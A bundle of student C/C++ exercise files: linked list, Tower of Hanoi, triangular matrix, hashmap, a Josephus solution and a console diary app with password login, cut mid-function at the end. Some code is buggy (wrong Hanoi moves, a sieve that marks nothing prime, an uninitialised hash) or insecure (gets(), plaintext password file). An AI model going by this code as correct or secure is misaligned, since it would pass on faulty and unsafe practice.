        *head = NULL;
        return;
    }

    while(temp_node->next != NULL){
        prev_node = temp_node;
        temp_node = temp_node->next;
    }
    prev_node->next = NULL;
    delete(temp_node);
}

void delete_node(int data, Node **head){
    Node *temp_node = *head;
    Node *prev_node = NULL;

    while(temp_node != NULL){
        if(temp_node->data == data){
            //check if temp_node is the head
            if(prev_node == NULL){
                // This is a head
                *head = temp_node->next;
                delete temp_node;
                temp_node = *head;
                return;
            }
            else{
                // This is not head
                prev_node->next = temp_node->next;
                delete temp_node;
                temp_node = prev_node->next;
            }
        }
        else{
            prev_node = temp_node;
            temp_node = temp_node->next;
        }
    }
}

int main(){
    Node* head = NULL;
    int data;
    int choice;

    // Menu driven program 
    while(1){
        cout << "1. Initialize the list" << endl;
        cout << "2. Display the list" << endl;
        cout << "3. Insert at the front" << endl;
        cout << "4. Insert at the back" << endl;
        cout << "5. Insert before a node" << endl;
        cout << "6. Insert after a node" << endl;
        cout << "7. Delete the head" << endl;
        cout << "8. Delete the tail" << endl;
        cout << "9. Delete a node" << endl;
        cout << "10. Search for a node" << endl;
        cout << "11. Exit" << endl;
        cout << "Enter your choice: " << endl;
        cin >> choice;

        switch(choice){
            case 1:
                init_list(&head);
                break;
            case 2:
                printList(head);
                break;
            case 3:
                push_front(&head);
                break;
            case 4:
                push_back(&head);
                break;
            case 5:
                cout << "Enter the data of the node: " << endl;
                cin >> data;
                insert_before(data, &head);
                break;
            case 6:
                cout << "Enter the data of the node: " << endl;
                cin >> data;
                insert_after(data, head);
                break;
            case 7:
                delete_head(&head);
                break;
            case 8:
                delete_tail(&head);
                break;
            case 9:
                cout << "Enter the data of the node: " << endl;
                cin >> data;
                delete_node(data, &head);
                break;
            case 10:
                cout << "Enter the data of the node: " << endl;
                cin >> data;
                index(data, head);
                break;
            case 11:
                deleteAll(&head);
                exit(0);
                break;
            default:
                cout << "Invalid choice" << endl;
        }
    }
    return 0;
}

<|start_filename|>DSA/Recursion/tower_of_hanoi.cpp<|end_filename|>
#include <iostream>
using namespace std;

void move(int disks,char first,char second,char third)
{
    if(disks==0)
    return;

    if(disks==1)
      cout<<"shift disk "<<disks<<" from "<<first<<" to "<<third<<endl;

    //move n-1 disks from A to B
    move(disks-1,first,third,second);

    cout<<"shift disk "<<disks<<" from "<<first<<" to "<<second<<endl;

    //move n-1 disks from B to C
    move(disks-1,second,first,third);
    //cout<<"shift disk"<<disks<<"from"<<second<<"to"<<third<<endl;
    
}

int main() {
  int disks;
  cin>>disks;

  move(disks,'A','B','C');
}


<|start_filename|>DSA/Special Matrices/RowMajorLowerTriangular.c<|end_filename|>
#include <stdio.h>
#include <stdlib.h>

typedef struct RLowerTriangularMatrix{
    int *A;
    int size;
}Matrix;

void set(Matrix *m,int i, int j, int x){
    if(i >= j) m->A[(i*(i-1))/2 + j-1] = x;
}

int get(Matrix m, int i, int j){
    if(i < j) return 0;
    else return m.A[(i*(i-1))/2 + j-1];
}

void Display(Matrix m){
    for(int i=1; i<=m.size; i++){
        for(int j=1; j <= m.size; j++){
            if(i < j) printf("%3d ", 0);
            else 
                printf("%3d ", m.A[(i*(i-1))/2 + j-1]);
        }
        printf("\n");
    }
} 

int main(int argc, char const *argv[])
{
    Matrix m;
    m.size = 4;
    m.A = (int *)malloc(sizeof(int)*(m.size*(m.size+1))/2);
    set(&m, 1, 1, 25);
    set(&m, 2, 1, 22);
    set(&m, 2, 2, 45);
    set(&m, 3, 1, 17);
    set(&m, 3, 2, 75);
    set(&m, 3, 3, 24);
    set(&m, 4, 1, 98);
    set(&m, 4, 2, 56);
    set(&m, 4, 3, 91);
    set(&m, 4, 4, 64);

    printf("%d\n\n",get(m, 4, 2));
    Display(m);
    return 0;
}



<|start_filename|>CPP/Data Structures/Hashmap/hashmapClass.h<|end_filename|>
#include <iostream>
#include "node.h"
#include <math.h>
using namespace std;

template <typename t>
class map {
    public:
    node <t> ** array;
    int count;
    int bucketSize;
    
    map(int bucketSize){
        this -> bucketSize = bucketSize;
        count = 0;
        array = new node<t>*[bucketSize];
        for (int i =0;i<bucketSize;i++){
            array[i] = NULL;
        }
    }
    
    ~map(){
        for (int i =0;i<bucketSize;i++){
            delete array[i];
        }
        delete [] array;
    }
    
    int size(){
        return count;
    }

    void insert(string key, t value){ // well done, yeh bc cn ulta kaam kr rhe, ulta add kr rhe linked list main
        int bucketIndex = getBucketIndex(key);
            node <t> * temp = array[bucketIndex];
            while (temp != NULL){
                if (temp -> key == key){
                    temp -> value = value;
                    return;
                }
                temp = temp -> next;
            }
            temp = array[bucketIndex];
            node <t> * newNode = new node<t>(key,value);
            newNode -> next = temp;
            array[bucketIndex] = newNode;
            count++;
    }
    
    t getValue(string key){
        int bucketIndex = getBucketIndex(key);
        node <t> * head = array[bucketIndex];
        while (head != NULL){
            if (head -> key == key){
                return head -> value;
            }
            head = head -> next;
        }
        return 0;
    }
    
    t removeKey(string key){
        int bucketIndex = getBucketIndex(key);
        cout << "bucketIndex for " << key << " is " << bucketIndex << endl;
        node <t> * head = array[bucketIndex];
        cout << "Key " << head -> key << endl;
        node <t> * prev = NULL;
        while (head != NULL){
            cout << "This is working";
          if (head -> key == key){
              if (prev == NULL){
                  array[bucketIndex] = head -> next;
                 
              }else{
                  prev -> next = head -> next;
              }
              cout << "This is working too";
              head -> next = NULL;
              t value = head -> value;
              delete head;
              count--;
              return value;
          }
          prev = head;
          head = head -> next;
        }
        return 0;
    }
    
    
    void display(){
        for (int i =0;i<bucketSize;i++){
            displayHelperFunction(array[i]);
        }
    }
    
    
    private:
    int getBucketIndex(string key){
        int hashcode;
        int currentCoefficient = 1;
        for (int i =0;i<key.length();i++){
            hashcode += currentCoefficient * key[i];
            hashcode = hashcode; // to avoid values going out of range
            currentCoefficient *=11;
            currentCoefficient % bucketSize;
        }
        return hashcode % bucketSize;
    } 
    void displayHelperFunction(node <t> * head){
        while(head != NULL){
            cout << "(" << head -> key << " , " << head -> value << ")" << endl; 
            head = head -> next;
        }
    }
};

<|start_filename|>DSA/CSES_ProblemSet/Josephus_Problem_II.cpp<|end_filename|>
/* Code by - <NAME> */

#include <algorithm>
#include <bits/stdc++.h>
#include <time.h>
#include <numeric>

using namespace std;

// Debug templates

void __print(int x) { cerr << x; }
void __print(long x) { cerr << x; }
void __print(long long x) { cerr << x; }
void __print(unsigned x) { cerr << x; }
void __print(unsigned long x) { cerr << x; }
void __print(unsigned long long x) { cerr << x; }
void __print(float x) { cerr << x; }
void __print(double x) { cerr << x; }
void __print(long double x) { cerr << x; }
void __print(char x) { cerr << '\'' << x << '\''; }
void __print(const char *x) { cerr << '\"' << x << '\"'; }
void __print(const string &x) { cerr << '\"' << x << '\"'; }
void __print(bool x) { cerr << (x ? "true" : "false"); }

template <typename T, typename V>
void __print(const pair<T, V> &x)
{
    cerr << '{';
    __print(x.first);
    cerr << ',';
    __print(x.second);
    cerr << '}';
}
template <typename T>
void __print(const T &x)
{
    int f = 0;
    cerr << '{';
    for (auto &i : x)
        cerr << (f++ ? "," : ""), __print(i);
    cerr << "}";
}
void _print() { cerr << "]\n"; }
template <typename T, typename... V>
void _print(T t, V... v)
{
    __print(t);
    if (sizeof...(v))
        cerr << ", ";
    _print(v...);
}
#ifndef ONLINE_JUDGE
#define debug(x...)               \
    cerr << "[" << #x << "] = ["; \
    _print(x)
#else
#define debug(x...)
#endif

// debug template ends

#define ll long long
#define w(t) while (t--)
#define vec vector
#define vi vector<int>
#define pqmin priority_queue<int>
#define pqmax priority_queue<int, vector<int>, greater<int>>
#define ins insert
#define fbo(a) find_by_order(a) //will give a-th largest element
#define ook(a) order_of_key(a)  //will give no. of elements strictly lesser than a
#define pii pair<int, int>
#define _decint greater<int>()
#define _decll greater<ll>()
#define mem(a, x) memset(a, x, sizeof(a))
#define vll vector<long long>
#define pll pair<long long, long long>
#define pb push_back
#define all(c) c.begin(), c.end()
#define all_ar(ar, n) ar, ar + n
#define For(i, a, b) for (size_t i = a; i < b; ++i)
#define Rof(i, a, b) for (size_t i = a; i >= b; i--)
#define print_ar(ar, n)            \
    for (size_t i = 0; i < n; i++) \
    {                              \
        cout << ar[i] << " ";      \
    }
#define out(x) cout << x << endl
#define out__(x, y) cout << x << " " << y << endl
#define inarr(arr, n) For(i, 0, n) cin >> arr[i]
#define mx_a(arr, n) max_element(arr, arr + n)
#define mn_a(arr, n) min_element(arr, arr + n)
#define mx_c(container) max_element(container.begin(), container.end())
#define mn_c(container) min_element(container.begin(), container.end())
#define un_m unordered_map
#define F first
#define S second
#define not_found string::npos
#define vec_2d vector<vector<int>>

#define fast_io()                     \
    ios_base::sync_with_stdio(false); \
    cin.tie(NULL);                    \
    cout.tie(NULL);

const ll INF = 1e18;
const int MOD = 1e9 + 7;

inline int64_t mul(int64_t a, int64_t b)
{
    return (INF / a > b ? a * b : INF);
}

inline int64_t add(int64_t a, int64_t b)
{
    return (a + b >= INF ? INF : a + b);
}

vector<bool> sieve(ll n)
{
    vector<bool> isPrime(n + 1, 0);
    isPrime[0] = isPrime[1] = false;

    for (int i = 2; i * i <= n; i++)
    {
        if (isPrime[i])
        {
            for (int j = i * i; j <= n; j += i)
                isPrime[j] = false;
        }
    }

    // after this, all the numbers which are primes are marked as 1
    return isPrime;
}

bool isPerfectSquare(ll x)
{
    // Find floating point value of
    // square root of x.
    if (x >= 0)
    {

        long long sr = sqrt(x);

        // if product of square root
        //is equal, then
        // return T/F
        return (sr * sr == x);
    }
    // else return false if n<0
    return false;
}

bool isPrime(ll n)
{
    if (n == 0 || n == 1)
        return false;

    for (int i = 2; i * i <= n; i++)
    {
        if (n % i == 0)
            return false;
    }
    return true;
}

// a to power b
ll binpow(ll a, ll b)
{
    ll res = 1;
    while (b > 0)
    {
        if (b & 1)
            res = res * a;
        a = a * a;
        b >>= 1;
    }
    return res;
}

void solve()
{
    ll n, k;
    cin >> n >> k;
    ll cnt = k;
    bool vis[n + 1] = {0};
    int tot = 0;

    int x = (k + 1) % n;
    // if (k >= n)
    // {
    //     cout << x << endl;
    //     return;
    // }
    while (tot != n)
    {
        // debug(x, cnt);
        if (x > n)
            x = x % n;
        if (vis[x])
        {
            x++;
            continue;
        }
        if (cnt < k)
            cnt++;
        else if (!vis[x] && cnt == k)
            cout << x << " ", vis[x] = 1, cnt = 0, tot++;

        x++;
    }
}

int main()
{
    fast_io();
    int t = 1;
    // cin >> t;

    clock_t p;
    p = clock();
    w(t)
    {

        // each iteration takes this time
        // p = clock() - p;
        // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n";
        solve();
    }

    return 0;
}

<|start_filename|>CPP/alternatingsquarepattern.cpp<|end_filename|>
/*You're given a number N. Print the first N lines of the below-given pattern.

1 2 3 4 5
10 9 8 7 6
11 12 13 14 15
20 19 18 17 16
21 22 23 24 25
30 29 28 27 26
*/

#include <iostream>
using namespace std;

int main() {
	int n;
	cin>>n;
	int i1=0;
	
	
	for(int i=0; i<n; i++){
	    if(i%2==0){
	        for(int j=(10*i1)+1; j<=(i+1)*5; j++){
	            cout<<j<<" ";
	        }
	        i1++;
	        cout<<endl;
	    }
	    else{
	        for(int k=(i+1)*5; k>=(5*i)+1; k--){
	            cout<<k<<" ";
	        }
	        cout<<endl;
	    }
	}
}

<|start_filename|>C/Diary Management/Diary Management.c<|end_filename|>
#include<stdio.h>
#include<string.h>
#include<conio.h>
#include<stdlib.h>

int login();
void addMeet();
void addBlog();
void deleteMeet();
void deleteBlog();
void viewMeet();
void viewBlog();
void editMeet();
void editBlog();
void changePassword();

struct database{
    char time[6];
    char date[15];
    char name[30];
    char place[25];
    char duration[10];
    char note[500];
};

int main(){
    int access = login();
    if(access){
        int ch; char logout[3];
        for(;;){
            system("cls");
            printf("\033[0;34m************************************************************************************\n");
            printf("\t\t\t\tPersonal Diary\n");
            printf("************************************************************************************\033[0m\n");
            printf("\t\t\t\t\033[0;35m[1] Add Meet\n");
            printf("\t\t\t\t[2] Delete Meet\n");
            printf("\t\t\t\t[3] Add Blog\n");
            printf("\t\t\t\t[4] Delete Blog\n");
            printf("\t\t\t\t[5] Edit Meet\n");
            printf("\t\t\t\t[6] Edit Blog\n");
            printf("\t\t\t\t[7] Meet View\n");
            printf("\t\t\t\t[8] Blog View\n");
            printf("\t\t\t\t[9] Change Password\n");
            printf("\t\t\t\t[0] Logout \n");
            printf("\t\t\t\t    Enter choice: \033[0m");
            scanf("%d",&ch);
            switch(ch){
                case 1: addMeet(); break;
                case 2: deleteMeet(); break;
                case 3: addBlog(); break;
                case 4: deleteBlog(); break;
                case 5: editMeet(); break;
                case 6: editBlog(); break;
                case 7: viewMeet(); break;
                case 8: viewBlog(); break;
                case 9: changePassword(); break;
                case 0: printf("\n\n\t\t\t\t\033[0;31m Are you sure? (YES/NO) : \033[0m");
                        scanf("%s",logout);
                        if(strcmp(logout,"YES")==0){
                            printf("\n\t\t\t\t\033[0;32mThanks for choosing my application :)\033[0m\n"); return 0;
                        }else break;
                default: printf("\t\t\t\tYou pressed wrong key!!!\n\n\n");
            }
        }
    }
}

int login(){
    char username[20], confirm[20]={0}, pass[15]={0};
    int i;
    FILE *fp;
    for(int j=0; j<3; j++)
    {
        i=0;
        system("cls");
        printf("\033[0;34m************************************************************************************\n");
        printf("\t\t\t\tLogin\n");
        printf("************************************************************************************\033[0m\n");
        printf("\n\n\t\t\033[0;31mPLEASE NOTE YOU HAVE ONLY THREE CHANCES TO LOGIN\n\t\t\t  ENTER YOUR PASSWORD CAREFULLY\n");
        printf("\n\n\tAttempt(s) Left : \033[0m%d\n",3-j);
        printf("\n\n\t\t\033[0;35mENTER USERNAME : \033[m");
        gets(username);
        printf("\t\t\033[0;35mENTER THE PASSWORD : \033[m");
        do{
            pass[i]=getch();  //STORES VALUE IN getch() AND PRINTS STAR(*)
            if(pass[i]!='\r')
                printf("*");
            i++;
        }while(pass[i-1]!='\r');
        pass[i-1]='\0';

        fp = fopen("login.txt","r");
        if(fp==NULL){
            printf("\n\033[0;31mError with the login file...[MISSING]\033[m\n");
            getch();
            return 0;
        }
        else{
            i=0;
            while(1){
                char c=fgetc(fp);
                if(c==EOF){
                    confirm[i]='\0';
                    break;
                }
                confirm[i]=c;
                i++;
            }
        }

        if(strcmp(pass,confirm)==0){
            printf("\n\n\t\t\t\t\033[0;32mACCESS GRANTED...\n\033[0m");
            printf("\n\t\t\t\t\033[0;33mPress Any key...\033[0m");
            getch();
            return 1;
        }
        else{
            printf("\n\n\t\t\t\t\033[0;31mWRONG PASSWORD... ACCESS DENIED\n");
            printf("\n\n\t\t         Press Any Key To Retry... Attempts Left : \033[0m%d",3-j-1);
            getch();
        }

    }
    printf("\n\n\t\t\033[0;31m::YOUR 3 ATTEMPTS GOT EXHAUSTED::YOU ARE NOT ALLOWED TO ACCESS ANY FILE::\n\n\t\t\t\tPRESS ANY KEY TO GO BACK...\033[0m");
    getch();
    return 0;
}

void addMeet(){
    system("cls");
    FILE *fp ;
    char another = 'Y' ,time[10];
    struct database e ;
    char filename[15];
    int choice;
    printf("\033[0;34m************************************************************************************\n");
    printf("\t\t\t\tWelcome To Meet Menu\n");
    printf("************************************************************************************\033[m\n");
    
        printf("\n\n\t\t\t\033[0;35mENTER DATE OF YOUR RECORD:[yyyy-mm-dd]:\033[0m");
        fflush(stdin);
        gets(filename);

        fp = fopen (filename, "a+" ); //OPENS FILE IN APPEND MODE AND IF IT DOESN'T EXISTS, THEN CREATES FILE
        if(fp==NULL){
            fp=fopen(filename,"w+");
            if(fp==NULL)        {
                printf("\n\t\t\t\t\033[0;31mSYSTEM ERROR...");
                printf("\n\t\t\t\tPRESS ANY KEY TO EXIT\033[0m");
                getch();
                return ;
            }
        }

        while ( another == 'Y'|| another=='y' ){
            choice=0;
            fflush(stdin);          //CLEARS ALL THE PAST INPUTS FROM THE BUFFER TO AVOID MIS FETCHING
            printf ( "\n\t\t\t\t\033[0;35mENTER TIME:[hh:mm]:\033[0m");
            scanf("%s",time);
            rewind(fp);             //SETS FILE POINTER TO BEGIN OF FILE AND CLEARS EOF OR ERRORS PRESENT IN FILE
            while(fread(&e,sizeof(e),1,fp)==1)  //READS DATA FROM GIVEN STREAM USING POINTER
            {
                if(strcmp(e.time,time)==0)
                {
                    printf("\n\t\t\t\t\033[0;31mTHE RECORD ALREADY EXISTS.\033[0m\n");
                    choice=1;
                }
            }

            if(choice==0)
            {   
                    strcpy(e.time,time);
                    printf("\t\t\t\t\033[0;35mENTER NAME: \033[0m");
                    fflush(stdin);
                    gets(e.name);
                    fflush(stdin);
                    printf("\t\t\t\t\033[0;35mENTER PLACE: \033[0m");
                    gets(e.place);
                    fflush(stdin);
                    printf("\t\t\t\t\033[0;35mENTER DURATION: \033[0m");
                    gets(e.duration);
                    fflush(stdin);
                    printf("\t\t\t\t\033[0;35mNOTE: \033[0m");
                    gets(e.note);
                    fwrite( &e,sizeof(e),1,fp); //WRITES DATA FROM ARRAY POINTER TO, BY POINTER TO THE GIVEN STREAM
                    printf("\n\n\t\t\t\t\033[0;32mYOUR RECORD IS ADDED...\033[0m\n");
            }

            printf ( "\n\t\t\t\t\033[0;35mADD ANOTHER RECORD...(Y/N)\033[0m " ) ;
            fflush ( stdin ) ;
            another = getchar(); //TAKES ONLY ONE LETTER AS INPUT AND IGNORES REST

        }
    


    fclose ( fp ) ;
    printf("\n\n\t\t\t\t\033[0;33mPRESS ANY KEY TO EXIT...\033[0m");
    getch();
}

void addBlog(){
    system("cls");
    FILE *fp ;
    char another = 'Y' ,time[10];
    struct database e ;
    char filename[15];
    int choice,flg;
    printf("\033[0;34m************************************************************************************\n");
    printf("\t\t\t\tWelcome To Blog Menu\n");
    printf("************************************************************************************\033[m\n");
    nm: printf("\n\n\t\t\t\033[0;35mENTER BLOG NAME: \033[0m");
    fflush(stdin);
    gets(filename);
    
        fp = fopen (filename, "a+" ); //OPENS FILE IN APPEND MODE AND IF IT DOESN'T EXISTS, THEN CREATES FILE
        if(fp==NULL){
            fp=fopen(filename,"w+");
            if(fp==NULL)        {
                printf("\n\033[0;31mSYSTEM ERROR...");
                printf("\nPRESS ANY KEY TO EXIT\033[0m");
                getch();
                return ;
            }
        }

        do{
        flg=1;
            while(fread(&e,sizeof(e),1,fp)==1){
                if(strcmp(e.date,filename)==0){
                    flg=0;
                    printf("\t\t\033[0;31mRecord Exists... Either make different one or edit earlier one\033[0m\n");
                    goto nm;
                }
            }
        }while(flg==0);

        while ( another == 'Y'|| another=='y' ){
            choice=0;
            
            rewind(fp);             //SETS FILE POINTER TO BEGIN OF FILE AND CLEARS EOF OR ERRORS PRESENT IN FILE

            if(choice==0)
            {   
                strcpy(e.date,filename);
                fflush(stdin);
                printf("\t\t\t\t\t\t\033[0;35mADD TODAY's BLOG...\033[0m\n\n");
                gets(e.note);
                fwrite( &e,sizeof(e),1,fp); //WRITES DATA FROM ARRAY POINTER TO, BY POINTER TO THE GIVEN STREAM
                printf("\n\n\t\t\t\t\033[0;32mYOUR BLOG IS ADDED...\033[0m\n");
            }

            printf ( "\n\t\t\t\t\033[0;35mADD ANOTHER BLOG...(Y/N) \033[0m" ) ;
            fflush ( stdin ) ;
            another = getchar(); //TAKES ONLY ONE LETTER AS INPUT AND IGNORES REST

        }
}

void deleteMeet(){
    system("cls");
    FILE *fp,*fptr ;
    struct database file ;
    char filename[15],another = 'Y' ,time[10];;
    int choice,check;

    printf("\033[0;34m************************************************************************************\n");
    printf("\t\t\t\tWelcome To Delete Menu\n");
    printf("************************************************************************************\033[m\n");

    while(another == 'Y')
    {
        printf("\n\n\t\t\t\t\033[0;35mHOW WOULD YOU LIKE TO DELETE");
        printf("\n\n\t\t\t\t[1] DELETE WHOLE RECORD");
        printf("\n\t\t\t\t[2] DELETE A PARTICULAR RECORD BY TIME");

        do
        {
            printf("\n\t\t\t\tENTER YOU CHOICE: \033[0m");
            scanf("%d",&choice);
            switch(choice)
            {
            case 1:
                printf("\n\t\t\t\t\033[0;35mENTER THE DATE OF RECORD TO BE DELETED:[yyyy-mm-dd]: \033[0m");
                fflush(stdin);
                gets(filename);
                fp = fopen (filename, "wb" ) ;
                if ( fp == NULL )
                {
                    printf("\n\t\t\t\t\033[0;31mTHE FILE DOES NOT EXISTS");
                    printf("\n\n\t\t\t\tPRESS ANY KEY TO GO BACK.\033[0m");
                    getch();
                    return ;
                }
                fclose(fp);
                remove(filename);
                printf("\n\n\t\t\t\t\033[0;32m%s DELETED SUCCESFULLY...\033[0m",filename);
                break;

            case 2:
                printf("\n\t\t\t\t\033[0;35mENTER THE DATE OF RECORD:[yyyy-mm-dd]: \033[0m");
                fflush(stdin);
                gets(filename);
                fp = fopen (filename, "rb" ) ;
                if ( fp == NULL )
                {
                    printf("\n\t\t\t\t\033[0;31mTHE FILE DOES NOT EXISTS");
                    printf("\n\n\t\t\t\tPRESS ANY KEY TO GO BACK.\033[0m");
                    getch();
                    return ;
                }
                fptr=fopen("temp","wb");
                if(fptr==NULL)
                {
                    printf("\n\t\t\t\t\033[0;31mSYSTEM ERROR");
                    printf("\n\t\t\t\tPRESS ANY KEY TO GO BACK\033[0m");
                    getch();
                    return ;
                }
                printf("\n\n\t\t\t\t\033[0;35mENTER THE TIME OF RECORD TO BE DELETED:[hh:mm]: \033[0m");
                fflush(stdin);
                gets(time);

                while(fread(&file,sizeof(file),1,fp)==1)
                {
                    if(strcmp(file.time,time)!=0)
                        fwrite(&file,sizeof(file),1,fptr);
                }
                fclose(fp);
                fclose(fptr);
                remove(filename);
                rename("temp",filename);
                printf("\n\n\t\t\t\t\033[0;32mSCHEDULE AT %s ON %s DELETED SUCCESFULLY...\033[0m",time,filename);
                break;

            default:
                printf("\n\t\t\t\t\033[0;31mYOU ENTERED WRONG CHOICE\033[0m");
                break;
            }
        }
        while(choice<1||choice>2);

        printf("\n\n\t\t\t\t\033[0;35mDO YOU LIKE TO DELETE ANOTHER RECORD.(Y/N): \033[0m");
        fflush(stdin);
        scanf("%c",&another);
    }

    printf("\n\n\t\t\t\t\033[0;33mPRESS ANY KEY TO EXIT...\033[0m");
    getch();
}

void deleteBlog(){
    system("cls");
    FILE *fp,*fptr ;
    struct database file ;
    char filename[15],another = 'Y' ,time[10];;
    int choice,check;

    while(another == 'Y')
    {
        system("cls");
        printf("\033[0;34m************************************************************************************\n");
        printf("\t\t\t\tWelcome To Delete Menu\n");
        printf("************************************************************************************\033[m\n");
        printf("\n\t\t\t\t\033[0;35mENTER THE BLOG TO BE DELETED: \033[0m");
        fflush(stdin);
        gets(filename);
        fp = fopen (filename, "r" ) ;
        if ( fp == NULL )
        {
            printf("\n\t\t\t\t\033[0;31mTHE FILE DOES NOT EXISTS");
            printf("\n\n\t\t\t\tPRESS ANY KEY TO GO BACK.\033[0m");
            getch();
            return ;
        }
        fclose(fp);
        remove(filename);
        printf("\n\n\t\t\t\t\033[0;32m%s DELETED SUCCESFULLY...\033[0m",filename);

        printf("\n\n\t\t\t\t\033[0;35mDO YOU LIKE TO DELETE ANOTHER RECORD.(Y/N): \033[0m");
        fflush(stdin);
        scanf("%c",&another);
    }

    printf("\n\n\t\t\t\t\033[0;33mPRESS ANY KEY TO EXIT...\033[0m");
    getch();
}

void viewMeet(){
    FILE *fp;
    system("cls");
    struct database customer;
    char time[6],choice,filename[14];
    int ch,flg=0;
    printf("\033[0;34m************************************************************************************\n");
    printf("\t\t\t\tWelcome To Meet View Menu\n");
    printf("************************************************************************************\033[m\n");

    do{
        printf("\n\t\t\033[0;35mENTER THE DATE OF RECORD TO BE VIEWED:[yyyy-mm-dd]: \033[0m");
        fflush(stdin);
        gets(filename);
        fp = fopen (filename, "rb" );

        if (fp == NULL){
            puts ( "\n\t\t\t\t\033[0;31mTHE RECORD DOES NOT EXIST...\n" ) ;
            printf("\t\t\t\tPRESS ANY KEY TO EXIT...\033[0m");
            getch();
            return ;
        }

        system("cls");
        printf("\n\t\t\t\t\033[0;35mHOW WOULD YOU LIKE TO VIEW:\n");
        printf("\n\t\t\t\t[1] WHOLE MEET'S PLANNED FOR THE DAY.");
        printf("\n\t\t\t\t[2] RECORD OF FIX TIME.");
        printf("\n\t\t\t\t    ENTER YOUR CHOICE: \033[0m");
        scanf("%d",&ch);
        switch(ch){
        case 1:
            printf("\n\t\t\t\t\033[0;36mTHE WHOLE RECORD FOR %s IS: ",filename);
            while ( fread ( &customer, sizeof ( customer ), 1, fp) == 1 )
            {
                printf("\n");
                printf("\n\t\t\t\tTIME: %s",customer.time);
                printf("\n\t\t\t\tMEETING WITH: %s",customer.name);
                printf("\n\t\t\t\tMEETING AT: %s",customer.place);
                printf("\n\t\t\t\tDURATION: %s",customer.duration);
                printf("\n\t\t\t\tNOTE: %s",customer.note);
                printf("\n");
            }
            printf("\033[0m");
            break;

        case 2:
            fflush(stdin);
            printf("\n\t\t\t\t\033[0;35mENTER TIME:[hh:mm]: \033[0m");
            gets(time);
            while ( fread ( &customer, sizeof ( customer ), 1, fp) == 1 )
            {
                if(strcmp(customer.time,time)==0)
                {
                    printf("\n\t\t\t\t\033[0;36mYOUR RECORD IS:");
                    printf("\n\t\t\t\tTIME: %s",customer.time);
                    printf("\n\t\t\t\tMEETING WITH: %s",customer.name);
                    printf("\n\t\t\t\tMEETING AT: %s",customer.place);
                    printf("\n\t\t\t\tDUARATION: %s",customer.duration);
                    printf("\n\t\t\t\tNOTE: %s",customer.note);
                    printf("\033[0m");
                    flg=1;
                }
            }
            if(flg!=1)
                printf("\n\t\t\t\t\033[0;31mNo such meet scheduled\n\033[0m");
            break;

        default:
            printf("\n\t\t\t\t\033[0;31mYOU TYPED SOMETHING ELSE...\033[0m\n");
            break;
        }

        printf("\n\n\t\t\t\t\033[0;35mWOULD YOU LIKE TO CONTINUE VIEWING...(Y/N):\033[0m");

        fflush(stdin);

        choice = getchar();
        system("cls");
    
    }while(choice=='Y'||choice=='y');
    
    fclose (fp);
    return ;
}

void editBlog(){
    system("cls");
    FILE *fp ;
    struct database e ;
    char time[6],choice,filename[14];
    int num,count=0;

    do
    {
        printf("\033[0;34m************************************************************************************\n");
        printf("\t\t\t\tWelcome To Editing Menu\n");
        printf("************************************************************************************\033[m\n");
        printf("\n\n\t\t\033[0;35mENTER THE BLOG NAME TO BE EDITED: \033[0m");
        fflush(stdin);
        gets(filename);

        fp = fopen ( filename, "rb+" );

        if ( fp == NULL )
        {
            printf("\n\t\t\t\t\033[0;31mRECORD DOES NOT EXISTS: ");
            printf("\n\t\t\t\tPRESS ANY KEY TO GO BACK\033[0m");
            getch();
            return;
        }

        while ( fread ( &e, sizeof ( e ), 1, fp ) == 1 )
        {
                printf("\n\t\t\t\033[0;36mYOUR OLD RECORD WAS AS:");
                printf("\nFILE NAME: %s\n",e.date);
                printf("\nBLOG: %s\n\n",e.note);

                printf("\033[0m\n\t\033[0;35mENTER NEW BLOG: \033[0m\n");
                fflush(stdin);      
                gets(e.note);
        }
    
        fseek(fp,-sizeof(e),SEEK_CUR);
        fwrite(&e,sizeof(e),1,fp);
        fseek(fp,-sizeof(e),SEEK_CUR);
        fread(&e,sizeof(e),1,fp);
        choice=5;
            
        

        if(choice==5)
        {
            system("cls");
            printf("\n\t\t\t\t\033[0;32mEDITING COMPLETED...\n\n\n");
            printf("\033[0;36m-------------------------------------------------------------------------------------\n");
            printf("\t\t\t\tTHE NEW RECORD IS:\n");
            printf("-------------------------------------------------------------------------------------\n");
            printf("\n\t\t\t\tFILE NAME: %s\n",e.date);
            printf("\n\t\t\t\tBLOG: %s",e.note);
            fclose(fp);
            printf("\033[0m\n\n\t\t\t\t\033[m\033[0;35mWOULD YOU LIKE TO EDIT ANOTHER RECORD.(Y/N)\033[0m");
            scanf("%c",&choice);
            count++;
        }
        
    }
    while(choice=='Y'||choice=='y');

    fclose ( fp );

    if(count==1)
        printf("\n\t\t\t\t\033[0;32m%d FILE IS EDITED...\n\n\n",count);
    else if(count>1)
        printf("\n\t\t\t\t%d FILES ARE EDITED..\n\n\n",count);
    else
        printf("\n\t\t\t\tNO FILES EDITED...\n\n\n");

    printf("\t\t\t\t\033[0m\033[0;33mPRESS ANY KEY TO EXIT...\033[0m");
    getch();
}

void viewBlog(){
    FILE *fp;
    system("cls");
    struct database customer;
    char time[6],choice,filename[14];
    int ch;
    printf("\033[0;34m************************************************************************************\n");
    printf("\t\t\t\tWelcome To Blog View Menu\n");
    printf("************************************************************************************\033[m\n");

    do{
        printf("\n\t\t\033[0;35mENTER THE BLOG NAME TO BE VIEWED: \033[0m");
        fflush(stdin);
        gets(filename);
        fp = fopen (filename, "rb" );

        if (fp == NULL){
            puts ( "\n\t\t\t\t\033[0;31mTHE BLOG DOES NOT EXIST...\n" ) ;
            printf("\t\t\t\tPRESS ANY KEY TO EXIT...\033[0m");
            getch();
            return ;
        }
        
        
            printf("\n\t\t\t\t\033[0;36mTHE BLOG NAME IS: %s",filename);
            while ( fread ( &customer, sizeof ( customer ), 1, fp) == 1 )
            {
                printf("\n");
                printf("\n\t\t\t\tBLOG: %s",customer.note);
                printf("\033[0m\n");
            }

        printf("\n\n\t\t\t\t\033[0;35mWOULD YOU LIKE TO CONTINUE VIEWING...(Y/N): \033[0m");

        fflush(stdin);

        choice = getchar();
        system("cls");
    
    }while(choice=='Y'||choice=='y');
    
    fclose (fp);
    return ;
}

void editMeet(){
    system("cls");
    FILE *fp ;
    struct database e ;
    char time[6],choice,filename[14];
    int num,count=0;

    printf("\033[0;34m************************************************************************************\n");
    printf("\t\t\t\tWelcome To Editing Menu\n");
    printf("************************************************************************************\033[m\n");

    do
    {
        printf("\n\n\t\t\033[0;35mENTER THE RECORD TO BE EDITED:[yyyy:mm:dd]: \033[0m");
        fflush(stdin);
        gets(filename);

        printf("\n\t\t\033[0;35mENTER TIME:[hh:mm]: \033[0m");
        gets(time);
